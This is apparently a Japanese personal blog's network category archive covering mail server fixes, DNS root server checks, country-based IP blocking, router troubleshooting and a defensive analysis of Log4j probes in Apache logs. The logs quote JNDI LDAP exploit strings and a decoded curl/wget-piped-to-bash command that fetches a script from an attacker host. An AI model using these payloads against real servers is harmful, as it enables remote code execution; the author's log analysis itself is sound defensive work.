Network」カテゴリーアーカイブ

サーバ⚙

最近の投稿

アーカイブ

カテゴリー

postgreyの更新トラブル

postgrey に更新があった(1.36-5.2 ⇒ 1.37-1)ため、外部からのメールが届かなくなり、設定の変更が必要となった。

postgrey trouble

職場で動かしている WordPress の2段階認証メールを自宅サーバに転送しているが、2段階認証のメールが届かなくなった。原因は、怪しいメールは一旦拒絶することで spam を拒否してくれる postgrey がうまく機能していないと思われる。

/var/log/mail.log を見ると、下記のようなエラーで postgrey が起動していない。

May 5 16:53:15 ...: warning: problem talking to server
   127.0.0.1:10023: Connection refused

エラーを探すと /var/log/syslog に以下のメッセージを残して、postgrey 起動に失敗しているので、

May  5 17:11:53 ... postgrey[974882]:
   Option greylist-text requires an argument

/etc/default/postgrey の POSTGREY_TEXT のオプションをコメントアウト。

((( /etc/default/postgrey )))
- POSTGREY_TEXT=""
+ # POSTGREY_TEXT="reject by postgrey"

しかし、この変更後も職場からのメールが reject されている。

May  5 17:19:20 ... postfix/smtpd[975541]:
  NOQUEUE: reject: RCPT from unknown[xxx.xxx.xxx.xxx]:
  450 4.2.0 <t-saitoh@tsaitoh.net>: Recipient address rejected:
  reject by postgrey; from=<www-data@...> to=<...@...> ...

たぶん、職場のサーバは Azureで動かしているが、今回の更新による拒否判定が厳しくなったんだろう。仕方がないので、/etc/postgrey/whitelist_clients.local に、自分の管理している Azure サーバのIPアドレスを書き並べる

((( /etc/postgrey/whitelist_clients.local )))
xxx.xxx.xxx.xxx 職場のWordPressサーバのIPアドレス

でも、postgrey-1.37 の更新は本家の changelog を見ると 2016年 みたいだけど、debian パッケージでは随分遅れての 更新だな。手法的にも、もっと確実な、SPF とか DKIM の対応がすすんで、postgrey は時代遅れなのかな。自宅サーバでは、postgrey で reject しそうな接続元は GEOIP で SMTP 拒否しまくりだし、あまり役に立ってないかも。

postfix backward compatibility

今回のトラブルで改めて、postfix のエラーログを見ているとpostfixの再起動時に以下のようなメッセージが出ている。

May  5 19:06:07 ...: Postfix is running with backwards-compatible default settings
May  5 19:06:07 ...: See http://www.postfix.org/COMPATIBILITY_README.html for details
May  5 19:06:07 ...: To disable backwards compatibility use "postconf compatibility_level=3.6" and "postfix reload"

設定ファイルでは、compatibilty_level が 2 とかになっていたので、書いてある通り 3.6 に上げておく。

((( /etc/postfix/main.cf )))
compatibility_level = 3.6

G.ROOT-SERVERS.NET が繋がらない

自宅のDNSのトラブルで、ルートサーバが国ドメイン単位での接続拒否でつながらないのが原因? だったかもしれないのだが、職場の自室で動かしている Cache DNS でも同様のトラブルが出るので、ルートサーバの接続確認。G.ROOT-SERVERS.NET. だけつながらない。自宅でも職場でも同様。

$ grep 3600000 /etc/bind/db.root \
  | grep A | grep -v AAAA | grep -v NS \
  | awk '{print $4}' | fping
199.7.91.13 is alive
192.203.230.10 is alive
:
192.58.128.30 is alive
192.112.36.4 is unreachable ← G.ROOT-SERVERS.NET. だけつながらない

G.ROOT-SERVERS.NET. はアメリカ国防総省の管理か….単に一時的な問題なのかな…

接続拒否国ドメインに PA, IO を追加

相変わらず、メールなどに怪しい所からの接続。国ドメインを確認したら、PA(パナマ共和国) と IO(イギリス領インド洋地域)。

大変申し訳ないけど、我が家のようなサイトは縁がない国なので、接続拒否。

現時点、我が家では下記ドメインが管理している IP アドレスは接続を拒否している。

AE, AF, AM, AZ, BD, BG, BR, BY, CL, CN, ES,
HK, ID, IN, IL, IO, IR, IQ, JO, KG, KP, KR, KW, KZ,
LB, MY, NL, OM, PA, PH, PS,
QA, RO, RU, SA, SY, TH, TJ, TR, UA, UZ, VN, YE

2022-03-26-クラス●さんへのメモ

このページは、息子の入居先のネットワークトラブルの原因を(私が自宅に帰るため)、ネットワーク関連の担当者に状況を伝えるためのメモです。

本格入居までの状態

  • 2月末に契約を行い、荷物運び込みなどを順次行い、3月上旬に入居。
  • ルータは、Buffalo WSR-1800AX4S ver 1.03 で、今回の新居にあわせ新規購入品。
    この際にはルータのデフォルト設定(Auto/Router)のスイッチで接続。
  • 「インターネット@スタート」で初期化が行われたが最初は繋がったが、すぐに切れてしまった。
    しかし、色々と接続設定を変えていたら、何らかの”偶然”だったのか接続できるようになった。入居日から翌日までは、そのまま接続ができていた。
  • この後、帰省先に帰り1週間後に本格的な入居(3/26)

3/26のメモ

  • 入居先に到着し、インターネットを接続するが、ここでも「最初の10秒?から30秒ほどは繋がったがすぐにインターネットに接続できない状態」となる。
  • ルータのWAN状態は…
    • つながる時は 192.168.200.6 などのIPアドレスリースをうけている。
    • 切れた状態になると「インターネット@スタートで接続するが繋がらない状態」になる。
  • クラス●さんに連絡を入れ、担当者さんからの連絡を受ける。

担当者さんのアドバイス以降

  • 担当者さんのアドバイスにより、ルータをManual / Access Point モードにしたが、一時的に繋がったが30秒程度接続ができた後、繋がらなくなる。(過去の状態と同じ)
    • PCは、192.168.200.15 が割り当てられた。
    • ping 192.168.200.1 を実行したが30秒ほど後で応答が途切れる。
  • こちらの判断で、ルータを Manual / Router モードに変更し、再起動したが、同様の症状。
    • 自宅ルータも Buffalo で、過去に「インターネット@スタート」でトラブったことがあるので Auto / Router モードは信用していない。
  • 動かない原因が古いファームウェアのバグといったトラブルを避けたいので、別途Webで入手したファームウェアに更新。ただし、バージョン番号は同じ ver 1.03なのでファーム更新はただの気休めの予定だった。
  • しかし、ファームウェア更新ご再起動したら、安定してつながる状態となった。
    (意味不明!?!?!?!?)

原因の推測

  • つながったのにすぐに切れる。
  • 他の居住者からはトラブル連絡はない。
    • トラブルが全建物的なものなら別途クレームがあるはず
  • 今回のこのルータは、帰省中の1週間使われていなかった。
  • ルータからのDHCPのリース時間は、259200sec = 3日間
  • 一旦繋がったら、安定して使えている。

これらのことより

  • リース済みIPアドレスの再利用(リース延長/DHCP Request)は正しく動いている。
  • 新規接続はつながるけど、すぐに切れる。DHCP Offer が失敗する?
  • リース期間の情報が、サーバと端末で、ずれていることが原因ではないか?
  • 上流のDHCPサーバ(192.168.200.1) の時計がずれているのではないか?
  • すぐに繋がらなくなるのは、他のPCにリース済みのIPアドレスを、時計がずれることが原因で、間違って再延長許可(DHCP Request に ACK を返答)するため、他のPCとIPアドレス重複を起こして繋がらなくなる?(他の重複したIPアドレスを使っているPCがパケットを出すまでは一時的に使える)
  • リース期間が切れる前にリース延長(DHCP Request)を行う端末は、安定してつながる。

2022-03-27 追記

  • 朝、ネットワークを使ったら無事に使える状態であった。
  • しかしながら、10分ほど安定して利用できていたが、再び繋がらない状態となる。
  • 繋がらない状態になった時に、改めてルータの通信パケットを見ると、エラーパケットが0なので、ケーブルが抜けかかっているとか、コリジョンが発生しているとかの原因ではないと思われる。
  • ルータの通信LOGには、WAN側接続のトラブルに関する記録なし。

長男の新しいアパートのWiFiルータ

長男の新しいアパートで、ルータを更新。WSR-1800AX4 を導入したけど、ネットワークの設定が終わったら、接続ができなくなる。

最初、インターネット@スタートで繋がらない状態だったので、過去の経験からPPPoE とかを使うのでもなければDHCP設定にすれば一発で繋がる….と思って設定したけど、最初繋がったのに接続が切れたり。設定を色々変えたけど症状が改善せず、最初から接続を疑い有線ケーブルを別ケーブルに変更するとすぐに繋がった。

どうも、大学のアパートで使っていたケーブルを引越しの時に微妙にダメージを与えたみたい。明日は、卒業式が終わったらひとまず1週間だけ帰省なので、(コロナ禍で卒業式には参加できないし)ケーブルだけ新しく買っておこうかな。

(追記)

ケーブルを交換しても、相変わらず不安定。次は壁のネットワークのプラグの接触不良を疑う。LANの爪を引っかからない状態にして電極がこすれあうように抜き差しを繰り返す。ひとまずこれで安定したと思う。

 

新しいアパート

長男が新社会人として大学のアパートからの引越し。
今日何度か往復してほぼ終了。今日の夜は大学のアパートの引き渡しを前に、新しいアパートで初のお泊まり。テレビやインターネット回線の接続も、繋ぐだけで簡単に終了。
ネットワーク速度もそれなりかな。

掃除がいい加減な埃だらけの大学アパートが原因なのか、大量飛散の花粉が原因なのかわからないけど、目が痒い。急遽薬屋でアレルギー用目薬と、花粉用の目洗いを購入となった。
枕が変わってなのか、引越し疲れの筋肉痛が原因なのか、なかなか寝付けなかった。YouTubeで「波の音」を小さな音で流しながら寝た。

Google Nest Mini 追加

最近、スマートスピーカーでタイマーやら色々活用しているけど、1Fでも使いたいとの要望が出てきた。

Google Nest mini 追加

そこで、元々使っている Google Home mini を1Fに移設し、新しく Google Nest mini を設置する。見た目はほとんど変わりないけど、音声認識の誤作動は改善されているらしい。

1Fに移設した Google Home mini は、デバイス名の設定を変更し、ついでに活用されてなかった古い Google Chromecast を1Fのテレビに設置する。

これに合わせ、google home/nest mini を喋らせるための google-home-notifier 関連の Script を修正。

Siri 対応の HomePod があるけど

以前に購入している、HomePod は iOS などと連携がうまくいくので、自宅に設置してある homebridge との相性も良く、homebridge-people などのモジュールを利用した在室確認のセンサーの値に応じてアクションを起動する場合には、HomePod の方が便利。「子供が家に帰ってきたらLINEに通知」といった処理で活用中。

Google Home/Nest の方が便利な点

この最近になって使えるようになってきた機能だと思うけど、「xx時にxxする」というアクションが音声で簡単に登録できるようになった。なので「6時にエアコンをつける」と言えば、翌朝にエアコンを自動的につけてくれる。

同じような処理も Siri のオートメーションを使えばできるけど、しゃべりかけるだけで時間やアクションを登録することまではできないので、これは Siri の未熟な所。

DNSのルートサーバ問題?

自宅では、自宅内だけの DNS を実現するために、DNSサーバ bind を動かしているけど、ブラウザで作業中にたまに DNS によるエラーでページが表示されない。

もしかして、変なところからの攻撃を防ぐために 国別のIPアドレス情報(GEOIP)を元に、接続拒否をしているのが原因かもしれない。確認を行うと、DNS ルートサーバの 中に、スウェーデン(SE)とオランダ(NL) が含まれていて、オランダが拒否リストに入ってた。

ということで、i.root-server.net(SE) , k.root-server.net(NL) を個別に許可リストに加える。

((2022-04-06))

再起動すると、ferm が動いていないのか iptables が未設定の状態になっている。確認をすると、OS起動時のエラーの中に、i-root-server.net の名前解決に失敗して、firewall 設定が途中で止まっている。DNS の設定が動いていない前段階で ferm を動かす順序なのでしかたがない。

ということで、許可リストの設定ファイルで、i.root-server.net などは IPアドレス記載に変更した。

ctgserver.net からのspam攻撃

自宅サーバに spam 送信の攻撃がしつこい。

確認すると、日本国内に割り当てられたIPアドレスだけど、ctgserver.net という中国系企業に割り当てられたもの。デタラメなホストを名乗って送信しようとしている。日本国内のアドレスとはいえ悪質なので、Firewall で 202.61.144.0/20 でごっそり接続拒否としておいた。

Jan  5 21:34:41 perrine postfix/smtpd[1163220]:
   connect from unknown[202.61.149.209]
Jan  5 21:34:41 perrine postfix/smtpd[1163220]: NOQUEUE: reject:
   RCPT from unknown[202.61.149.209]: 450 4.7.25
   Client host rejected: cannot find your hostname, [202.61.149.209];
   from=<jcbjp-account-update@cnzsyc.cn> to=<xxxx@tsaitoh.net> proto=ESMTP helo=
Jan  5 21:34:41 perrine postfix/smtpd[1163220]:
   disconnect from unknown[202.61.149.209] ehlo=2 starttls=1 mail=1 rcpt=0/1 quit=1 commands=5/6

同様の攻撃が、134.122.192.0/18 “BGP CONSULTANCY PTE LTD” からも届いている。これまた、日本国内割り当ての中国系企業。この記事を見ると同じ穴のムジナっぽい。がんがん拒否しまくろう。国内IPアドレスも汚染されてきてるよなぁ…

制限しても、すぐさま別のアドレスから同じような攻撃。調べてみると大きなアドレスブロックを持ってるな。

202.61.128.0/18
134.122.192.0/18
118.107.0.0/18

Java Log4j 攻撃が自宅サーバにも来ている?

JPCERT/CC などでも重大な脆弱性として報告されている Log4j への攻撃だけど、Java なぞ動いていない我が家の”自己満足サーバ”にさえも届いている。

UserAgent で履歴確認

こちらの記事を参考に、UserAgent に変な値が入っていないか Log を漁ってみた。

この結果、攻撃のため? のLOGには、以下のような記録がある。UserAgent の中に埋め込まれている、”cryptoslogic-cve-2021-44228.com” というのは、ドメイン名部分が Log4j の脆弱性の正式名称なので、攻撃目的ではなく、攻撃可能性を警鐘するためグループからのアクセスかもしれない。

[/var/log/apache2]# grep -i user access.log.1 | grep -i agent
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"

自分が仕事を含め外部公開をしているサーバで、上記のような履歴を確認したら、すべてのサーバに、12/12の日付の LOG が残っていた。

試しにアクセスしてきた IP アドレスを逆引き。digitalocean.com が管理しているアドレスということが判る。んで、”whois kryptoslogic-cve-2021-44228.com” で調べてみるけど、あまりいい情報は出てこない。

[~]# dig -x 68.183.207.73
:
;; AUTHORITY SECTION:
207.183.68.in-addr.arpa. 957    IN      SOA
  ns1.digitalocean.com. hostmaster.207.183.68.in-addr.arpa. (略)
[~]# whois kryptoslogic-cve-2021-44228.com
(略)

これを見ると、ドメイン名にLog4jの脆弱性の名前を使っているし、kryptos logic という脆弱性診断のサービスをしている企業なども見えてくるので、単純に攻撃ではないかもしれない。悪意があるのであれば、攻撃用のホストの部分に、ちゃんとしたドメイン登録されているホスト名を使わないはず。

jndi:ldap の履歴確認

ということで、今回の攻撃? では、どれも jndi:ldap というのがカギっぽいので、あらためて “grep -i jndi:ldap access.log” をしてみた。すると、他の攻撃パターンも見えてきた。

[~]# cd /var/log/apache2 
[/var/log/apache2]# ( cat access.log{,.1} && zcat access.log*.gz ) | grep -i jndi:ldap
37.120.189.247 - - [13/Dec/2021:16:02:47 +0900] "GET /$%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D HTTP/1.1" 404 4616 "-" "Mozilla/5.0 zgrab/0.x"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:04:01:44 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 4615 "-" "Kryptos Logic Telltale"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:09:40:02 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 402 "-" "Kryptos Logic Telltale"
20.71.156.146 - - [11/Dec/2021:18:10:51 +0900] "GET / HTTP/1.1" 302 12543 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"

すると、攻撃用のホストに、分かり易いドメイン名など使っていない、IPアドレスそのまんまの”悪意を想定した方がよさそうな”アクセス履歴が出てくる。かといって、ldap URL の後ろに “Exploit” といった、文字が含まれているから、まだ違うのかな…

わちゃ、こりゃ悪意の塊…

同じような履歴を仕事で管理しているサーバで実行していたら、以下のようなアクセス履歴が見つかる。

45.155.205.233 - - [10/Dec/2021:22:35:08 +0900] "GET / HTTP/1.1" 200 11705 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MCl8YmFzaA==}"

後半の部分が、Base64 とかの後ろに、”KGN…aA==” とかいう、いかにも BASE64 エンコーディングされたような文字列発見。
base64 デコードサービスで確認すると

(curl -s 45.155.205.233:5874/xx.xx.xx.xx:80
 ||wget -q -O- 45.155.205.233:5874/xx.xx.xx.xx:80)  # xx.xx.xx.xx は攻撃対象のIP
|bash

なんて文字が出てくる。こりゃ、確実に悪意のあるスクリプト。

たぶん、踏み台となっているコマンドサーバ(45.155.205.233)からダウンロードした shell script をbash で実行しようとしている。そこで、このアドレスを、dig -x やら whois やらで調べてみるけど、踏み台だし「攻撃者だけど実際は犠牲者」の情報だし、これ以上調べてもまともな情報は出てこないだろう。別に調べたら、ロシアのコンピュータ。自宅サーバはロシアなどの国は最初からアクセス禁止してあるから、履歴が無かっただけか。んで、このコマンドサーバに、試しに ping やら nmap を実行してみる。

[~]# dig -x 45.155.205.233
(略)
;; AUTHORITY SECTION:
205.155.45.in-addr.arpa. 1258   IN      SOA
   pns21.cloudns.net. support.cloudns.net. (略)
[~]# whois cloudns.net
(無料のDNSサービスなのであまりいい情報が無い)

[~]# ping 45.155.205.233
[ping 反応なし]
[~]# nmap 45.155.205.233
[nmap 反応なし]

たぶん、すでに踏み台となっていることの報告がでて、プロバイダが対応をしたんだろうけど、反応がない。

まとめ記事へのリンク

Log4j に関連するパッケージ

Log4j は色々な使われ方をしているようなので、一応確認。

(( log4j という名前を含むパッケージの検索 ))
[~]# dpkg -l | grep log4j
ii  liblog-log4perl-perl  1.54-1  all  Perl port of the widely popular log4j logging package
(( liblog-log4per-perl に依存しているパッケージを探す ))
[~]# aptitude purge liblog-log4perl-perl
:
以下のパッケージには満たされていない依存関係があります:
 munin : 依存: liblog-log4perl-perl インストールされません

検索 🔎

  My Google     Yahoo

便利サイト